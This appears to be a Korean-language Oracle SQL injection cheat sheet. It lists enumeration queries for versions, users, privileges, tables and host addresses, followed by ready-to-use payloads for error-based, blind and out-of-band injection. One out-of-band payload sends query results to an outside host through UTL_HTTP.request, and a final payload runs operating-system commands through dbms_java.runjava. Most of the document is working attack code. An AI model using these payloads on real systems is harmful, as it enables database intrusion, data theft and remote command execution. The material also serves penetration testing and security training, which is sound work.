Basic
Database Version
1
2
3
| SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
|
Database Name
1
2
3
4
| SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
|
Database List
1
| SELECT DISTINCT owner FROM all_tables;
|
User
1
2
| SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$;
|
Database Privilege
1
2
3
4
| SELECT * FROM session_privs; /* current privs */
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; /* priv, list a user's privs */
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
|
Table List
1
2
| SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
|
Table List One Line
1
| select rtrim(xmlagg(xmlelement(e, table_name || ',')).extract('//text()').extract('//text()') ,',') from all_tables;
|
Column List
1
2
| SELECT column_name FROM all_tab_columns WHERE table_name = '테이블명';
SELECT column_name FROM all_tab_columns WHERE table_name = '테이블명' and owner = 'DB명';
|
Host IP Address
1
2
3
4
| SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; /* gets IP address */
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; /* gets hostnames */
|
Case
1
2
| SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; /* returns 1 */
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; /* returns 2 */
|
Limit
1
| select * from (select rownum rnum, table.* from table) A where A.rnum between 5 and 13;
|
Error based SQLi
Column Count
order by 구문을 통해 숫자를 늘려서 현재 SQL 구문에 컬럼이 몇개 인지 확인이 가능합니다.
에러가 발생할 경우 컬럼의 갯수를 초과하였기 때문에 해당 숫자의 -1개라고 생각할 수 있습니다.
Select
에러발생 시 해당 데이터가 출력되는 것을 이용하여 데이터를 확인할 수 있습니다.
1
| 1 and utl_inaddr.get_host_name((select global_name from global_name)) <>1--
|
Blind SQLi
데이터를 직접 확인할 수 없고 True/False 기반으로 판별이 가능한 경우가 있습니다.
이때 데이터를 한 문자씩 가져와 ASCII 값으로 비교하여 데이터를 확인할 수 있습니다.
1
| 1 and ascii(substr((select user from dual),1,1))=83--
|
True 일 경우, 아래와 같이 값이 출력
False 일 경우, 아래와 같이 값이 출력되지 않음
Etc
Out-of-band SQLi
SQL Injection은 가능하나 데이터를 출력하거나 Blind SQLi를 사용할 수 없을 경우에 사용합니다.
특정 데이터를 특정 서버로 전달하여 데이터를 확인할 수 있습니다.
1
| 1 || UTL_HTTP.request('host'||(select user from dual))
|
dbms_java.runjava
함수를 통한 임의의 명령어 실행
1
| select dbms_java.runjava('com/sun/tools/script/shellMain -e "var p= java.lang.Runtime.getRuntime().exec("$cmd"),"')from dual
|